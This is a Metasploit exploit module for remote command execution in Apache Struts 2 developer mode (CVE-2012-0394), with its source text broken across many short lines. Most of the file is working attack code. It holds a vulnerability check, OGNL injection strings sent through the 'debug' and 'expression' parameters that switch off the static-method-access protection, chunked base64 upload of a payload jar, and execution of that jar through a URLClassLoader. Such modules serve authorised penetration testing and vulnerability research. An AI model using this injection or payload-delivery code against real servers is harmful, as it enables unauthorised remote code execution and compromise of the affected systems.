##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require
'msf/core'
class
Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def
initialize(info = {})
super
(update_info(info,
'Name'
=>
'Apache Struts Developer Mode OGNL Execution'
,
'Description'
=> %q{
This
module
exploits a remote command execution vulnerability
in
Apache
Struts
2
. The problem exists on applications running
in
developer mode,
where the DebuggingInterceptor allows evaluation
and
execution of
OGNL
expressions, which allows remote attackers to execute arbitrary Java
code. This
module
has been tested successfully
in
Struts
2
.
3
.
16
, Tomcat
7
and
Ubuntu
10
.
04
.
},
'Author'
=>
[
'Johannes Dahse'
,
# Vulnerability discovery and PoC
'Andreas Nusser'
,
# Vulnerability discovery and PoC
'Alvaro'
,
# @pwntester, 2014's PoC, avoided surname because of the spanish char, sorry about that :\
'juan vazquez'
# Metasploit module
],
'License'
=>
MSF_LICENSE
,
'References'
=>
[
[
'CVE'
,
'2012-0394'
],
[
'OSVDB'
,
'78276'
],
[
'EDB'
,
'18329'
],
],
'Platform'
=>
'java'
,
'Arch'
=>
ARCH_JAVA
,
'Targets'
=>
[
[
'Struts 2'
, { } ]
],
'DisclosureDate'
=>
'Jan 06 2012'
,
'DefaultTarget'
=>
0
))
register_options(
[
Opt::
RPORT
(
8080
),
OptString.
new
(
'TARGETURI'
, [
true
,
'The path to a struts application action'
,
"/struts2-blank/example/HelloWorld.action"
])
],
self
.
class
)
end
def
check
vprint_status(
"Testing to see if the target can evaluate our Java code..."
)
addend_one = rand_text_numeric(rand(
3
) +
1
).to_i
addend_two = rand_text_numeric(rand(
3
) +
1
).to_i
sum = addend_one + addend_two
res = execute_command(
"new java.lang.Integer(#{addend_one}+#{addend_two})"
)
if
res
and
res.code ==
200
and
res.body.to_i == sum
return
Exploit::CheckCode::Vulnerable
end
if
res
and
res.code ==
200
and
res.body.to_s =~ /
#{sum}/
vprint_status(
"Code got evaluated. Target seems vulnerable, but the response contains something else:"
)
vprint_line(res.body.to_s)
return
Exploit::CheckCode::Appears
end
return
CheckCode::Safe
end
def
exploit
@payload_jar
= rand_text_alphanumeric(
4
+rand(
4
)) +
".jar"
upload_jar
execute_jar
end
def
upload_jar
append =
'false'
jar = payload.encoded_jar.pack
chunk_length =
384
# 512 bytes when base64 encoded
while
(jar.length > chunk_length)
java_upload_part(jar[
0
, chunk_length],
@payload_jar
, append)
jar = jar[chunk_length, jar.length - chunk_length]
append=
'true'
end
java_upload_part(jar,
@payload_jar
, append)
end
def
java_upload_part(part, filename, append =
'false'
)
cmd =
"#f=new java.io.FileOutputStream('#{filename}',#{append}),"
cmd <<
"#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
cmd <<
"#f.close()"
execute_command(cmd)
end
def
execute_jar
cmd =
""
# disable Vararg handling (since it is buggy in OGNL used by Struts 2.1
cmd <<
"#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
cmd <<
"#q.setAccessible(true),#q.set(null,true),"
cmd <<
"#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
cmd <<
"#q.setAccessible(true),#q.set(null,false),"
# create classloader
cmd <<
"#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_jar}').toURI().toURL()}),"
# load class
cmd <<
"#c=#cl.loadClass('metasploit.Payload'),"
# invoke main method
cmd <<
"#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
cmd <<
"null,new java.lang.Object[]{new java.lang.String[0]})"
execute_command(cmd)
end
def
execute_command(cmd)
injection =
"#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),CMD"
injection.gsub!(/
CMD
/, cmd)
vprint_status(
"Attempting to execute: #{cmd}"
)
res = send_request_cgi({
'uri'
=> normalize_uri(target_uri.path.to_s),
'method'
=>
'GET'
,
'vars_get'
=>
{
'debug'
=>
'command'
,
'expression'
=> injection
}
})
return
res
end
end